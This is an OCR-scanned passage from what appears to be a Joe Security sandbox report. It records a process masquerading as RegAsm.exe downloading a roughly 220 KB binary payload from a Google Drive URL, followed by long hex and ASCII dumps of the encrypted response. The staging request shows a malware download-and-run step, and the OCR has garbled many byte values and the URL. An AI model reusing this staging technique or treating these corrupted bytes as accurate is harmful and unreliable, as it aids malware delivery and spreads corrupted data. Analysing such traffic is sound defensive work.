leusercontent.com/docs/securesc/ha0Oro937gcuc7I7deffksulhgsh7mbp1/hfbl

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.185.193 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

Data

GET /docs/securesc/haOro937gcuc?|7deffksulng5h7mbpl/hfbleo2pc7711m3ao72uchj4vo9g7ss2/1632826875000/0
0519186742208262786/*/13YjZIAZqkYRBpSLg3kNAObzs8kDFmm8g?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-00-50-docs.googleusercontent.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 11:.02:14 UTC 2

2021-09-28 11:02:14 UTC 5

2021-09-28 11:02:14 UTC 9

2021-09-28 11:02:14 UTC 12

2021-09-28 11:02:14 UTC 16

2021-09-28 11:02:14 UTC 18

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdtz. TNHQJeZP5jQw_ki4ClIk5UWTBp5vYQZvUrS9UrbRfW50Dp7ETx5rboBPfAv2
G_N3qgf5NXohmHOtx1V-yGA

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, X-Goog-Sn-Metadata,
X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, x-goog-request-params, Host, If-Match, If-Modified-
Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, hotrod-board-
name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-
Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-F
irebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-
GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-AuthUser, x-
goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-Encode-
Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-
goog-iam-authority-selector, X-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings,
X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Conte
nt-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length,
X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-
Upload-Protocol, x-goog-user-project, X-Goog-Visitor-ld, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key,
X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-
Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-
Override, X-los-Bundle-ldentifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-
YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-M
eeting-Botguardid, X-Goog-Meeting-Clientinfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Mee
ting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-sdm-id-
token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-
Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-
Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace,
x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="wuh_mWzUJP244.bin";filename*=UTF-8"wuh_mWzUJP244.bin

Date: Tue, 28 Sep 2021 11:02:14 GMT

Expires: Tue, 28 Sep 2021 11:02:14 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=Fhd/fg==

Content-Length: 221760

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 62 be 1f c8 23 7c 08 26 32 65 79 c9 76 98 bd b4 12 ec ae 2a ff c2 c7 04 2d c4 4b 8f a7 f1 2f 6¢ 85 d9 75 b4 Of
bl ef dc c6 71 bf 7a 16 63 17 23 38 af ba 9f 08 a2 60 79 47 2b b6 d9 62 e3 f8 ca be 22 1d 58 98 01 ca 81 Ob d1 1b df 3d
45 6d b7 20 78 ca a0 5d 22 f1 89 aa 1e 3f e9 56 Oc e8 a5 c0 el 8a aa 5d 6a 66 d0 2f 76 ca a3 de d3 a7 39 2a 08 92 36 48
ca 7f 40 be ad dc 6a c4 41 54 de d9 b1 56 9f 30 fe f7 59 dO 1a 66 1f 69 5b df 4f 4c 9e 3d 32 e7 5e 6b bb cf db 00 a8 ee f9
5a 91 bc 3e d8 df dO fd al 52 64 c1 34 76 26 98 42 40 99 d1 75 cf a6 e5 22 b8 db bd 91 e2 ec bf eb 50 af bb eb 4a e3 70
b8 9e e0 77 d7 ad 0d e9 e3 06 5e 5f 00 2f 9b 8¢ 52 24 07 41 ec 2b f2 24 2d 80 23 8f 58 62 ea 27 90 1f 8b 01 07 f6 €8 eb 6f
9a 78 dd 20 e8 c0 e0 71 c4 2d 96 1b 13 4c 46 35

Data Ascii: b#|&2eyv*-K/luqzc#8'yG+b"X=Em x]"?V]jfv9*6H@JATVOYfi[OL=2"kZ>Rd4v&B@u"PJpw"_/R$A+$-#Xb'ox g-
LF5

Data Raw: dd bf 39 ba 9b 94 2 f9 ff 92 62 f2 04 ¢5 b7 07 66 €0 b3 6e 7a 91 7a bb cc e0 4e d5 36 29 34 3b 9e 54 f2 2b 77
f2 a7 bd bf df ad 9d fa 5¢ 2 35 f6 f4 c9 c1 a0 91 ae cd e5 2a 97 2e 4f 6f 67 e1 86 c¢3 70 bl 0a 0f 24 €9 ed 9a 53 80 00 75
05 4e 20 58 3a 34 d1 71 dd 0d a6 00 af 74 ab 49 53 16 5a al 4d 74 11 93 a7 3d Of a5 8f d2 2b 56 e7 94 31 7b 83 36 79 1b
d1 8c 2d 7b 0f 32 c5 €9 2b ad 4a 8b 8e 54 13 e6 17 91 28 92 a4 cc 9e 99 9 f8 71 93 8¢ el 69 2b 8b 74 32 a2 b5 17 d9 3e
95 19 13 04 3f 6a a4 a6 e4 d8 e4 1f 47 68 75 04 c5 c1 f6 78 e4 bb 67 ac 79 a3 7e ea 20 b7 0f eb fe 43 00 8a 59 4b 8a a3
23 88 2d b6 06 0f d3 e2 b9 cb 0a 95 1b 33 d7 d3 ce 1b b9 06 fb ee 86 b7 bc ee f9 ff 52 3e 34 2e 7f 7 92 95 5 3d 23 a2 8a
91 07 74 22 98 44 ab 9f 8d c4 33 41 58 91 43 1d

Data Ascii: 9bfnzzN6)4; T+w\5*.00gp$SUN X:4qtISZMt=+V1{6y-{2+JIT(qi+t2>?jGhuxgy~ CYK#-3R>4.=#"D3AXC

Data Raw: 6¢ 89 36 e2 46 48 34 ef b4 62 80 cd 14 5f 3a a8 e0 97 3c 8a f8 14 2f fO b0 73 61 48 d2 d6 db dO 66 a9 d4 50 7c
65 7b 7b b4 02 bd 98 83 fd 04 a9 1a 7b 30 85 60 17 26 54 ea b9 a3 35 9f eb 91 8f f8 c1 20 94 95 76 70 e5 a0 83 94 cc 28
63 38 da b8 8d fe 62 4f e9 c6 e2 8f 86 8f 09 8a b4 be 40 42 f0 b9 82 68 34 20 ff d2 27 85 el 86 da 5a 79 50 a2 a0 46 df 8d
8b 94 30 1c 8b 8c 6a 1b 69 4b 96 82 6a bf 29 cc 3f bf a7 3¢ 77 4c 31 cb ca 2e 43 db 9a 78 71 bd 88 15 dd 71 46 9f 40 2e ff
dO Ob 5e 49 84 bf fd e0 c6 f2 c4 e8 eb 62 99 5a 15 4f 75 9c a2 bd 17 1c 14 63 27 e7 ad 5d 0f aa Oc f0 43 52 c6 31 b2 6c 76
5a 1d b5 d4 54 34 1f 28 1f 7b 85 d2 25 b5 72 4c ff 1f fc 6d 63 53 82 c2 Oc af 4c €2 6d bc bb b7 b0 75 17 de 14 03 a2 1f e5
b1 8c a8 b0 75 30 f0 7d ¢5 97 b0 e0 09 of

Data Ascii: I6FH4b_:</saHfP|e{{{0°&T5 vp(c8bO@Bh4 'ZyPF0jiKj)?<wL1.CxqqF@. bZOuc'|CR1IVZT4({%rLmcSLmuu0}

Data Raw: 9a 77 3b fb 50 4e 58 9b 07 a5 47 0f d1 11 01 cd 9f 45 80 98 78 c0 b3 41 Oa c9 89 ea 14 el e9 47 04 c0 2a c1
el 8c de 53 6a 66 cb 40 b0 ca a3 d4 0d a8 1c 02 3f 92 36 42 d9 62 68 86 ad dc 60 9a 41 45 d6 ff 48 ec 91 36 25 38 94 f1
a8 b9 5c 81 52 bc 27 25 e7 Oe 5¢ bd 09 Oc c9 a4 68 20 da 87 bf 22 ff c8 18 d5 7c f0 8f de e2 48 80 6d 56 62 dd 39 58 f4 be
1b 74 88 f9 27 9a 42 bd 91 e4 83 79 eb 50 5 20 e4 6f 87 46 bb 9e 75 7d f3 e4 35 €9 e3 Oc 80 5f 11 27 53 32 50 25 Oa 2f
21 2b f2 76 O 8f 06 af 6f 62 ea 2d 83 3f ed 4f 04 f6 e2 15 6f 8b 70 f5 €6 €8 c0 e6 5e 02 2d b6 11 cd 43 61 1d ed ff de ee ef
2e 25 d0 59 ab b5 41 2b f7 09 8d d5 e9 dd ac 36 f3 9e 76 71 79 29 a0 da b2 c2 6d 71 28 dc 7d 9e af 0d 3f 32 f3 7 18 92
26 be bb ff ee bb 3e 7d 06 c5 b0 24 46 c8 9 64

Data Ascii: W;PNXGEXAG*Sjf@?6Bbh"AEH6%8\R'%\h "|[HMVbOXt'ByP oFu}5_'S2P%/!+vob-?00op”-Ca.%YA+6vay)mq(}?
2&>)$Fd

Data Raw: c9 71 0f 2e e4 ed b0 53 80 00 32 7c 4e 20 54 2c 5c ec a3 dd 07 a0 20 Ob 4c ab 4f 7a 57 Ob al 4b 11 41 dd a5
3721 db a5 fc 2d 7e 91 82 02 56 a3 77 2d 1b d7 5b ad 72 7c 67 ed de 21 be 44 8e 99 3c 6d de 17 9b 31 49 cb b7 9a 47
c9 f5 44 a6 f3 a6 a9 2b 8b 74 c6 54 bf 1f f3 29 9a 19 96 04 3f 6a 50 aa ca da ee 76 d5 b6 67 26 8c d6 f6 72 c8 bd 20 ae 7f
af 7e 85 22 b7 03 5a 86 45 2a 80 71 11 89 8b 25 a0 56 b6 7f 05 d6 2f ab 83 22 ce 19 33 d3 fb ed 1b fb 97 d3 82 84 b7 ba
€6 85 ff 52 34 b1 43 7d e5 8e bd dc 3c 38 94 a7 fb 12 75 24 b0 2b ab 9f 9a 18 14 20 6f 91 49 63 dc 6a 09 f5 1b 91 7e 92
ad ae 10 d7 22 6a 70 c4 48 4b 68 15 aa 27 94 33 Oe 6b 89 0d 1e cc dd 3f c2 9e 06 0f e4 6¢ eb 71 6e 7b 80 23 c0 02 4e 34
e99a 2a lacd 1le 7d 6f c9 e0 91 10 39 e2 75 e8 f4 b0 68

Data Ascii: ¢.S2|N T,\ LOZWKA7!-~Vw-[r|g!D<m1IGD+tT)?jPvg&r ~"ZE*q%V/"3R4C}<8u$+ olcj~"jpHKh'3k?Ign{#N4*}o9uh
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 19 IN Data Raw: 76 bb 8f b0 fa 0d b7 84 a8 30 94 4b Oc a8 41 d0 el 18 77 06 d5 9f 13 5d 89 97 c8 ac 2b f7 96 1d Of 6f 2b 2f 1f
5a €6 58 b9 8c 54 6¢ a5 36 21 02 4b 77 2a f3 62 8d 58 9a 01 ca 81 0f 8e 11 df c2 b4 6d b7 98 15 c0 a0 5d 2d f1 89 ea 04
3f e9 57 Oc e8 a5 c0 9d 80 aa 5d 64 66 d0 2f fc cO a3 de dc a7 39 2a 12 92 36 49 ca 7f 40 be 34 d6 6a 44 4f 54 de d7 09
€6 91 30 46 fe 94 f1 b8 67 53 a5 7a 8b 27 25 5e 17 42 95 3f Oc c9 ae 77 2a cb 8f 98 34 fe c8 04 ba ba f1 8f d4 3c 44 5¢ 50
56 62 a4 10 60 f4 d9 1d aa 88 e7 2f b2 ff a7 91 e2 ed bd eb 50 ff 23 el 4a af d6 ba 9e 7f ea €0 cc 0d e7 e3 06 5e 5f 00 2f
7b 8¢ 50 25 Oc ec eb 2b f2 54 2e 80 23 53 54 62 ea 32 90 1f c5 6d 04 f6 9 cb 6f 9a 78 29 2c e8 c0 6d 31 c4 2d 37 16 13
4c 4b 35 da ff c4 e4 fc Oe 0d e8 59 ab 27 92 2b
Data Ascii: VOKAw]+0+/ZXTI6!Kw*bXm]-?W]df/9*61@4jDOTOFgSz'%"B?w*4<D\PVb'/P#J"_/{P%+T.#STh2mox),m1-7L
K5Y'+

2021-09-28 11:02:14 UTC 20 IN Data Raw: 5d 55 75 8a Of 8a 04 b3 47 74 3a 92 46 c9 1d 43 17 3b dc 5d 20 24 8d 62 04 1b 90 9d a7 de fd ff d5 3c 99 83
57 e5 88 84 dd e5 3a 92 89 9b 63 ab 23 98 57 b8 98 e2 dc 1b 08 5¢ bd 18 78 cf 07 15 dd 23 95 11 78 72 ae 02 d2 db 15
00 df 48 4f 7a 30 7a 3d dc 74 3c 7a 88 4a 3c cf dd 3f c2 9c 06 3f e5 6¢ e7 48 a2 53 5a 2b e8 68 5d 33 94 95 Oc 1a c9 3c 8e
57 c9 e6 bf 11 28 €7 10 53 16 b1 62 63 d2 37 d7 {7 cc 7e b9 93 f6 7d 65 77 68 af 8d 80 f6 81 fc 11 91 71 6b 26 8d ea fd 35
50 e0 Oa b6 3a 9d 13 32 b2 €3 d0 76 fb 95 76 7e 4c ae 85 9e ce 8a 63 2c dd 6e f5 d2 69 4c e0 el d5 80 f8 90 ab 94 a3 92
3a53f4 ac 3187 25 17 f4 79 29 9b 83 €0 cd 5a 7d f6 1f a3 45 c6 8b 38 81 3f 16 76 2f 57 06 48 2f 87 fc 78 b3 2f bb el a0
b2 29 60 4a 08 13 d7 3e bb cbh b0 7e 17 22 85 02 f3
Data Ascii: JUUGt:FC;] $b<W:c#W\x#xrHOz0z=t<zJ<??IHSZ+h]3<W(Sbc7~}ewhqk&5P:2vv~Lc,niL:S1%y)Z}E8?v/WH
Ixl)’3>~"

2021-09-28 11:02:14 UTC 22 IN Data Raw: a0 5a 8b 23 25 ed 90 39 95 31 0d c4 7e ca 20 cb 8e bf 20 fe c8 14 92 ba f1 8f de 35 ca 1f 82 ee 71 d2 07 6b e5
ba 7e ab 89 e8 25 bb ee b8 83 e3 c4 fe eb 50 f9 d8 ec 3c c3 al c7 9e 7f 6f c4 d8 Od e9 e9 2e 5e 5e 00 25 17 d7 78 b4 Oc
40 ed 9c el 7a 38 91 25 94 51 71 ed Oc ab 3f ¢5 73 04 f6 9b c9 6e 9a 72 ce 28 f9 c4 8f 30 c5 2d bc 12 02 4b d1 5b f2 fc df
e4 f6 1e 05 f9 51 c4 bb 9e 2b d5 98 cd d5 ef f3 42 27 fb fb 8c cb 7b 23 ac da ae c2 6d 71 e5 6 7d bc 96 58 Oe 8d dd cc 3b
ba 97 62 bb ed d5 9e 3c c¢1 05 d5 b6 Oc 61 c8 f9 6e 6¢ 8d 15 41 d6 e0 44 d3 3a 76 7c 3b Oe 5e 5 Ob 4c d5 a7 ac f8 bc af
9d f6 50 9b 78 b8 4 cd 3 58 8e 9c a8 c5 47 97 24 42 4b 55 c1 86 c5 1b c9 4c 0f 2e e8 ed d2 50 80 Oc 75 52 4f 20 58 30
52 97 8f dc 11 54 09 d2 66 85 4b 52 7f 1f 89 63
Data Ascii: Z#%91~ 5gk~%P<0."%x@z8%Qq?snr(0-K[Q+B'{#mq}X;b<anlAD:v|;"LPxXG$BKUL.PURO XORTfKRc

2021-09-28 11:02:14 UTC 23 IN Data Raw: 62 61 dc 9b c1 c6 e4 47 f4 fc 29 7a 48 74 aa f5 07 95 f6 aa €3 7c a2 60 7b 34 97 f1 1a 4b 75 ea a8 a3 a4 3d 03
al af db 83 08 ef 93 5b 7f 33 8¢ 92 87 ¢8 00 3b 3c c¢7 40 8e cc 29 ad f3 ee c7 f1 8b 85 ab 90 8f 55 42 53 2 8e d3 96 35 06
cl c2 46 83 9f 9e de 72 8d f0 bd b4 7d ff 8d 9a 9a af 00 75 8d 42 cb 9d 52 87 fc Oc b7 29 ¢8 99 88 9c 2d 73 4a 36 e7 fb 3e
bd dO a0 4d de a2 85 02 8b 59 46 9f 42 f2 e8 c1 18 5e 26 5¢ bb e2 f8 46 db e8 e5 e6 12 5f 72 66 47 af e4 28 a2 04 Ob 7f
aa 36 e3 b8 24 le ab 20 f4 43 67 c6 31 b2 43 f7 74 1d b5 c1 55 09 74 56 06 7f 9a d8 a5 bc 5e 41 f2 6f 3e 13 7b 59 9f 1c c1
b8 42 f1 63 b6 ac 9b 5e 60 e9 d9 2e 31 8b 37 91 b9 9a 50 cf 7f ce f1 07 b3 8f b0 e4 73 bf 85 a8 34 fb 82 29 a2 4b ca 35 77
7f 07 e6 9f 6d 45 86 97 cc ba 19 d9 96 1c
Data Ascii: baG)zHt| {4Ku=[3;<@)UBS5Fr}uBR)-sJ6>MYFB"&\F_rfG(6$ CglCtUtV Ao>{YBc"'.17Ps4)K5wmE

2021-09-28 11:02:14 UTC 24 IN Data Raw: 2a df ba e0 de ee f5 6e le f7 94 5e cd 14 20 a7 f2 9c ad 67 7a 3b f3 7a 45 86 Oe 3d 2d e7 Oa 3a ac 63 bd e4 fb
df 3c 16 c1 04 3b b7 1a 9f c9 a6 6¢ 5a 3e 15 fO cc 1e 45 c4 df 47 27 17 f4 5¢ 79 74 67 d5 a6 d2 dc 93 ad 97 9f 5¢c e4 5a b2
dc d9 c8 a7 88 3 3f aa 2a 9d 08 5d 45 a7 9c 86 c5 1le 8e 06 Oe 2e e4 45 f0 51 80 02 c7 8b 4f 20 52 43 53 83 71 d9 2f bb
Ob db 48 83 6d 52 79 03 21 45 7e 39 d9 db 35 09 b3 a3 fe a7 29 ed 82 03 33 87 58 2d 11 f9 a2 20 72 76 €7 cd €9 21 ba 5a
la ad 3b 45 e2 ca 3d 3a 97 b5 cb 2c 6f 84 f1 5d 93 ad 6d 3c 2b 8d 68 c6 52 bf 1f ff 2e ae 6f 3a Oc 3f 60 7c a6 2e d8 e4 1f
6592 67 2c f8 41 fe 72 cc 91 5d c4 7e a9 56 d0 98 9f 48 35 fe 43 02 6f 5b 4b 8d 9d Ob a6 2f b6 75 19 f6 74 c¢7 c9 Oa 95 1f
1b 33 d1 97 1d d3 b9 fb e4 8¢ 37 b4 ee f9 fb
Data Ascii: *n* gz;zE=-:c<;IZ>EG'\ytg\Z?*]E.EQO RCSq/HmRY!E~95)3X- rv!Z;E=:,0Jm<+hR.0:?"|.eg,Ar]~VH5Co[K/ut37

2021-09-28 11:02:14 UTC 25 IN Data Raw: f4 51 4c 8c 4e 90 f3 da 18 4b 52 8a 9b 1c f3 14 e6 c0 f4 €3 7d 9c 70 77 46 64 94 6f b0 05 Of 1a 70 3b fc 93 58
ea ab 31 e5 22 51 38 30 9a 5b dd 4b 16 9d d8 42 27 11 3b 00 60 85 cf c0 b4 4f 5a €9 15 09 12 57 59 93 cd b4 66 50 fa 76
aa b9 a8 af 73 f2 c0 27 e7 a4 1b 9b a2 87 b4 18 7a 3b ef 59 a8 94 b0 1 16 a8 b1 56 31 b8 59 01 b3 40 dO e5 09 72 69 fO
94 13 57 95 8e d7 99 22 ec 96 0d 14 70 12 d1 5¢ 7c ec 2b 95 8e 54 6a ff 23 1b 11 5f 77 3b e8 60 73 59 b7 07 dc 92 04 c8
08 c4 c2 ab 76 ae 66 79 e6 ad 5f 33 fa al fe 1f 3f e3 45 Ob f2 b6 db el 9b bl 42 57 98 d1 03 79 cc 8b cc d0 a7 3f 45 22 90
36 4e d5 41 53 a5 ad cd 71 53 bf 55 f2 d4 b6 ff 8a 30 5b e5 8b cd 5¢ 66 7f a8 7c 9a 28 4a c5 1f 42 93 2e 31 da b5 b6 31
d0 91 69 35 d2 c2 0f b1 a0 26 9c df 23 4d bb 41 56
Data Ascii: QLNKR}pwFdop;X1"Q80[KB';"OZWY{Pvs'z;YV1Y@riW"p\[+ Tj#_w; sYvfy_3?EBWy?E"6NASqSUO[\f|(JB.1
1i5&#MAV

2021-09-28 11:02:14 UTC 27 IN Data Raw: 4d 7e 3f ce b7 3a 65 90 a7 fc 2b 56 ed 82 22 1c d0 7a 2d 1b d1 86 20 72 8c 58 9c c1 b0 be 4e 90 3d 2c 93 6b
3c 9b 3b 96 a6 da 85 55 d8 e2 5a f9 a6 8e 3e 2b 8b 7e ee 5c ff 44 dd 27 9c 76 4e 2c 1f 61 78 84 ce f2 f3 1a 4d b0 08 35 3
cl fc 5e de 84 61 bd 6c af 4e fa 71 b7 05 33 ed 42 {7 20 59 4b 8b 9a 27 99 3¢ b0 66 27 94 6d b9 c7 19 92 c6 ab d5 d3 97
33 cc 9d fb ee ae 8f bc ee f3 22 d0 3e 99 83 77 ¢5 8¢ 15 f5 3¢ Ob 8 8¢ 80 1c 1a 3f 99 51 al f0 82 c¢7 1b 02 70 c3 49 69 ce
6a 19 cc 34 80 6e 90 5b fe 04 c4 23 07 6b c3 24 6¢ 7e 26 84 3c bc 58 2¢ 2b d4 06 dd ce dd 39 d3 9b 99 e3 bd 44 70 59 a5
71 37 3e 3e e3 67 34 ef b3 1e Oc dc 01 44 43 ce 8c b4 36 28 e7 1a 3c f4 90 22 3e 7a 33 d6 {7 c2 47 9e fd 29 76 74 75 66
b0 06 8c de dO fd 02 87 73 7c ee 9c ea 3b 35 50 e0
Data Ascii: M~?:e+V"z- rXN=k<;UZ>+~\D'vN,axM5"alNg3B YK'<fm3">w<?Qplij4n[#k$l~&<X,+9DpYq7>>g4DC6(<
">z3G)vtufs|;5P

2021-09-28 11:02:14 UTC 28 IN Data Raw: c6 19 f3 58 0a 5¢ 50 ec 4b bf 9d 5¢ 78 dd 26 22 02 42 60 a7 f4 78 8d 59 88 0d db 8d 19 c0 1e f7 d3 ba 6d bd 3a
69 c6 b3 56 33 fa 9d fe 09 b2 c6 56 Oc e9 b6 cd fO 87 bc 4a f6 77 dd 07 d5 ca a3 d4 c2 aa 2f ba 24 99 27 43 dc e5 68 af ad
dc 60 57 44 20 cc d7 ae f7 9c ee 46 ef 9c dd a5 76 5b cb 2d 8b 27 2f 31 14 53 92 19 59 c9 ae b0 2b c2 fc b4 35 fe c2 0d
b3 ab f9 9e d3 53 66 a9 5a 5¢c 6e 09 1d 71 fd 92 16 bb 81 87 78 b2 ff b7 4d ea c6 bf eb 50 fe e2 eb 4a ad 71 55 9e 2f 50 ed
€0 0d e9 e3 06 5c 5f 5b 2e 77 eb 51 29 Oc 40 e7 2b el 4c 2b 80 4a 87 58 62 d2 27 90 Oe d3 7b 2f 97 8 c3 78 64 79 f1 22
O cc e0 39 dd d3 b7 37 1d 4e 52 32 cc fd 50 53 d4 3a Oc e8 53 b1 b3 9f 23 c7 4e 8e f9 fc f7 ea 81 fO 1a e9 1d 6¢ 3 bl 24
1b e9 6d 7b 3a f2 75 b7 87 59 25 cc f4 d8 2b
Data Ascii: X\PK\x&"B xYm:iV3VIW/$'Ch"WD FV[-/1SY+5SfZ\nqxMPJqU/P\_[.wQ)@+L+JXb'{/xdy"97NR2PS:S#NI$
m{:uY%-+

2021-09-28 11:02:14 UTC 29 IN Data Raw: 23 55 34 47 9a 78 ef 56 80 f2 36 €6 83 aa b9 27 75 22 92 42 82 b7 a4 c6 1b 02 86 91 4e 43 ce 53 4f al 23 91
7c 98 73 ae b0 c4 25 14 5f c4 48 4f ab 26 84 3c ad 58 Oc 6b 8f 25 dd ce df 39 d3 9b 9e dc e4 6¢ c0 59 a5 7b 98 28 e8 6e
5d 34 ef b2 0d 1a cd 14 57 55 c9 e0 90 34 28 e7 ef 3c f4 b0 9e 67 52 2c db 7 c8 6f be fc 29 7c 67 71 77 a6 aa 96 6 81 d2
02 81 60 a2 33 8f c2 00 35 50 ea a8 a7 2a 8a 15 90 a3 f3 ce 08 ef 95 9d 79 ee bf 64 84 ¢8 28 7d 3c c7 46 96 d2 69 47 e0
de c2 8f 09 85 ab 94 9d ba 40 42 e2 b5 97 ae b5 Oc f2 db 38 9a 9b 84 24 5b 51 fa b4 ad 75 0d 80 81 83 2b 08 64 89 5a 8
61 78 88 fe 7b d5 21 de f7 a7 9a 14 72 4c 2a d2 c6 3a bd cb b2 61 86 a3 a9 01 ed 42 42 9f 57 88 8 3f 19 76 4f 8a db ef eb
2b f7 e8 f4 e6 64 68 73 4a 46 77 93 28 9e 05 Of 1a
Data Ascii: #U4GxV6'u"BNCSO#|s%_HO&<Xk%9IY{(n]4WU4(<gR,0)|gqw 35P*yd(}<FiG@B8$[Qu+dZax{'rL*:aBBW?vO+
dhsJFw(
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 31 IN Data Raw: 69 62 d7 10 48 59 be 11 a0 9f 64 10 b2 ff bc b9 4f ec bf e1 78 a5 fe eb 40 b8 a7 36 b5 7f 6e ed df 09 f6 fO 15 51
5f 11 20 64 99 ae 24 20 4e f6 21 e4 6 06 91 23 87 52 69 f5 31 83 10 ¢5 66 Ob €9 el 35 6e b6 5b cc 2b fO 5a ¢8 20 c4 2d
bc cb 01 4c 44 2e 2 eb de e4 f6 27 39 €9 59 al cb 8d 2b df ab 9c d2 f0 ff 77 39 f3 85 51 d2 85 28 8a f8 94 ea 2d 7a 3b 3
67 al 94 5e 3f 23 fa e2 c5 bb bl bf ac ea f0 98 07 ce 1b d9 48 0d 4d ca d2 6b 42 05 ee 0f 33 e6 30 f7 21 46 7a 11 9e 5e f5
10 57 dd a7 ed d0 92 ad al fO 5b f4 72 a5 f7 c9 cd 8f 46 9c a2 a0 02 89 27 48 41 03 c7 86 c5 15 ec 18 Oc 3a fd c1 ¢5 55 96
14 1b 42 5d 25 40 38 4d 90 77 cf 01 be 1b dc 5¢ ac 5f 7a 23 09 al 4b 58 3e 5 e4 3c 09 b9 ad 22 3b 73 ¢5 b5 02 5¢ 81 55
39 11 f9 be 20 72 76 b9 c5 ef Ob bf 5e 9a
Data Ascii: ibHYdOx@6nQ_ d$ N#Rilf5n[+Z -LD.'9Y+w9Q(-z;g"?#HMkB30!Fz "W[rF'HA:UB]%@8Mw\_z#KX><";s\U9 rv*

2021-09-28 11:02:14 UTC 32 IN Data Raw: a7 a9 a7 20 a7 01 89 af f3 c0 11 11 94 5a 7e f7 95 8f 8b c8 20 68 c2 c6 6a 81 d5 06 08 2 ee cd 97 b5 9d bc be
bc b6 40 5b €2 58 92 ba 37 1b fe db 30 90 61 9f f6 58 56 fO 96 03 4f f1 8d 9a 90 34 38 77 8d 70 16 60 54 87 fc 72 bf 2b e5
9c 8a b0 40 8a 4c 20 c5 f9 2b bf cd d9 8¢ 78 a2 8f dc f9 79 71 9f 46 86 c8 f9 18 5a 43 4b bb €0 9d c3 f3 e8 ef 3¢ 71 be 45
66 4d 7f b2 38 a2 04 05 ce 63 1c e3 b2 4a ed ab 20 fe 3d 43 c6 38 a3 55 d3 40 1d b5 ca 43 27 3a 28 06 56 9a dO c1 b4 5e
40 ed 30 f5 13 5¢ 53 82 c6 ae b0 43 f1 6b 91 ab 99 ad 76 86 90 39 19 af 35 85 dc dc af ce 63 32 9f 28 ba 8f ba 3e 01 9f b2
a8 30 9e 63 11 a2 41 da 31 18 5d 06 e7 85 13 5d 86 97 cc ac 27 ed 96 10 15 6f 2b 2e 46 60 3 58 66 8d 54 6¢ b0 3c 21
1346 72 51 12 78 8d 5¢c b3 77 ca 81 09 be 49 de
Data Ascii: Z~ hj@[X70aXV0O48wp Tr+@L +xyqFZCK<gEfM8cJ =C8U@C":(V @0\SCkv95c2(>0cAl]]'o+.F XfTI<!FrQx\wl

2021-09-28 11:02:14 UTC 33 IN Data Raw: b5 0d 4b ab 61 ee 29 15 3d c1 04 c4 bc 0a 77 df 65 68 6d 92 9b 47 78 7c 4d c4 27 5e 71 b5 29 76 ed Oa 67 df
al a5 d9 1c 1a 4b f8 d5 52 ee 24 fc df cd be 87 12 15 7c 22 19 93 60 5f 2a 3 8¢ ¢3 35 ff 08 27 3d de cc d7 67 81 06 1a 1d
4e 20 43 2b 48 87 49 f5 06 aa 08 db 5f af 5e ac 78 25 a2 55 6d 3d dd b4 39 16 ba 59 fd 07 4a c5 ab 01 5¢ 8d 5a 2f 33 fb
